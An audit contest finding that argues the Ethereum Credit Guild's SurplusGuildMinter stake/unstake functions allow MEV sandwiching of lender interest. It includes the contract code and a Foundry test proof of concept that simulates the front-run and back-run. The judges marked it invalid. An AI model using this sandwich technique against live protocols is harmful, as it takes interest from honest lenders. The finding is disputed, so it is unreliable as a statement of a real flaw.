Stake/unstake mechanism is vulnerable to sandwich attacks

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L113-L212

Vulnerability details

Summary

The amount of interest that lenders earn is based on the amount of credit tokens staked on the given term. This mechanism is vulnerable to sandwich attacks. MEV bots can sandwich any profit in the terms by staking right before the interest is earned and unstaking right after. This way, the MEV bot can potentially take the biggest part of the interest from the honest lenders, without providing any value to the protocol and not risking any capital (except from MEV gas cost risks).

Vulnerability Details

The SurplusGuildMinter contract is used to stake and unstake credit tokens on terms, which updates their termSurplusBuffer and therefore provides liquidity to borrow. The amount of interest that lenders earn is based on the amount of credit tokens staked on the given term. But this mechanism is vulnerable to sandwich attacks, as there is no technique to prevent it, and it is possible to stake and unstake in the same block.

Here we can see the stake and unstake function and therefore that there is no technique to prevent sandwich attacks implemented:

/// @notice stake CREDIT tokens to start voting in a gauge.
function stake(address term, uint256 amount) external whenNotPaused {
  // apply pending rewards
  (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(msg.sender, term);

  require(lastGaugeLoss != block.timestamp, 'SurplusGuildMinter: loss in block');
  require(amount >= MIN_STAKE, 'SurplusGuildMinter: min stake');

  // pull CREDIT from user & transfer it to surplus buffer
  CreditToken(credit).transferFrom(msg.sender, address(this), amount);
  CreditToken(credit).approve(address(profitManager), amount);
  ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);

  // self-mint GUILD tokens
  uint256 _mintRatio = mintRatio;
  uint256 guildAmount = (_mintRatio * amount) / 1e18;
  RateLimitedMinter(rlgm).mint(address(this), guildAmount);
  GuildToken(guild).incrementGauge(term, guildAmount);

  // update state
  userStake = UserStake({
    stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
    lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
    profitIndex: SafeCastLib.safeCastTo160(ProfitManager(profitManager).userGaugeProfitIndex(address(this), term)),
    credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
    guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
  });
  _stakes[msg.sender][term] = userStake;

  // emit event
  emit Stake(block.timestamp, term, amount);
}

/// @notice unstake CREDIT tokens and stop voting in a gauge.
function unstake(address term, uint256 amount) external {
  // apply pending rewards
  (, UserStake memory userStake, bool slashed) = getRewards(msg.sender, term);

  // if the user has been slashed, there is nothing to do
  if (slashed) return;

  // check that the user is at least staking `amount` CREDIT
  require(amount != 0 && userStake.credit >= amount, 'SurplusGuildMinter: invalid amount');

  // update stake
  uint256 userMintRatio = (uint256(userStake.guild) * 1e18) / userStake.credit; /// upcast guild to prevent overflow
  uint256 guildAmount = (userMintRatio * amount) / 1e18;

  if (amount == userStake.credit) guildAmount = userStake.guild;

  userStake.credit -= SafeCastLib.safeCastTo128(amount);
  userStake.guild -= SafeCastLib.safeCastTo128(guildAmount);

  if (userStake.credit == 0) {
    userStake.stakeTime = 0;
    userStake.lastGaugeLoss = 0;
    userStake.profitIndex = 0;
  } else {
    // if not unstaking all, make sure the stake remains
    // greater than the minimum stake
    require(userStake.credit >= MIN_STAKE, 'SurplusGuildMinter: remaining stake below min');
  }
  _stakes[msg.sender][term] = userStake;

  // withdraw & transfer CREDIT
  ProfitManager(profitManager).withdrawFromTermSurplusBuffer(term, msg.sender, amount);

  // burn GUILD
  GuildToken(guild).decrementGauge(term, guildAmount);
  RateLimitedMinter(rlgm).replenishBuffer(guildAmount);
  GuildToken(guild).burn(guildAmount);

  // emit event
  emit Unstake(block.timestamp, term, amount);
}

The following POC can be implemented in the SurplusGuildMinter.t.sol test file:

function testStakingSandwichMEV() public {
  // setup
  address user1 = address(19028109281092);
  address user2 = address(88120812019200);
  credit.mint(user1, 100e18);
  credit.mint(user2, 100e18);
  address term1 = address(new MockLendingTerm(address(core)));
  address term2 = address(new MockLendingTerm(address(core)));
  guild.addGauge(1, term1);
  guild.addGauge(1, term2);
  vm.prank(governor);
  profitManager.setProfitSharingConfig(
    0.5e18, // surplusBufferSplit
    0, // creditSplit
    0.5e18, // guildSplit
    0, // otherSplit
    address(0) // otherRecipient
  );

  // user1 stakes 50/50 on both terms and risks capital / enables borrowing by doing so
  vm.startPrank(user1);
  credit.approve(address(sgm), 100e18);
  sgm.stake(term1, 50e18);
  sgm.stake(term2, 50e18);
  vm.stopPrank();

  // term1 earns interest and user2 sandwiches the call to stake / unstake
  // user2 front run
  vm.startPrank(user2);
  credit.approve(address(sgm), 100e18);
  sgm.stake(term1, 100e18);
  vm.stopPrank();

  // term1 earns interest
  credit.mint(address(profitManager), 10e18);
  profitManager.notifyPnL(term1, 10e18);

  // user2 back run
  vm.startPrank(user2);
  sgm.getRewards(user2, term1);
  sgm.unstake(term1, sgm.getUserStake(user2, term1).credit);
  vm.stopPrank();

  // time passes
  vm.warp(block.timestamp + 13);
  vm.roll(block.number + 1);

  // term2 earns interest and user2 sandwiches the call to stake / unstake
  // user2 front run
  vm.startPrank(user2);
  credit.approve(address(sgm), 100e18);
  sgm.stake(term2, 100e18);
  vm.stopPrank();

  // term2 earns interest
  credit.mint(address(profitManager), 10e18);
  profitManager.notifyPnL(term2, 10e18);

  // user2 back run
  vm.startPrank(user2);
  sgm.getRewards(user2, term2);
  sgm.unstake(term2, sgm.getUserStake(user2, term2).credit);
  vm.stopPrank();

  // time passes
  vm.warp(block.timestamp + 13);
  vm.roll(block.number + 1);

  // user1 stops staking
  vm.startPrank(user1);
  sgm.getRewards(user1, term1);
  sgm.getRewards(user1, term2);
  sgm.unstake(term1, sgm.getUserStake(user1, term1).credit);
  sgm.unstake(term2, sgm.getUserStake(user1, term2).credit);
  vm.stopPrank();

  // user2 earned more than user1 without providing any value to the system
  // (credit tokens from the surplusBufferSplit and guild tokens from the guildSplit)
  assertGt(credit.balanceOf(user2), credit.balanceOf(user1));
  assertGt(guild.balanceOf(user2), guild.balanceOf(user1));
}

Impact

MEV bots can sandwich any profit in the terms by staking and unstaking and potentially take the biggest part of the interest from the honest lenders.

Recommendations

Implement a lockup period between staking and unstaking so that every staker risks funds and provides value to the system and only earns interest by doing so. Implementing Withdraw fees would also be a good idea to decrease the incentive for MEV bots.

Assessed type

MEV

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #877

[c4-judge]

Trumpero marked the issue as unsatisfactory: Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory: Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory: Invalid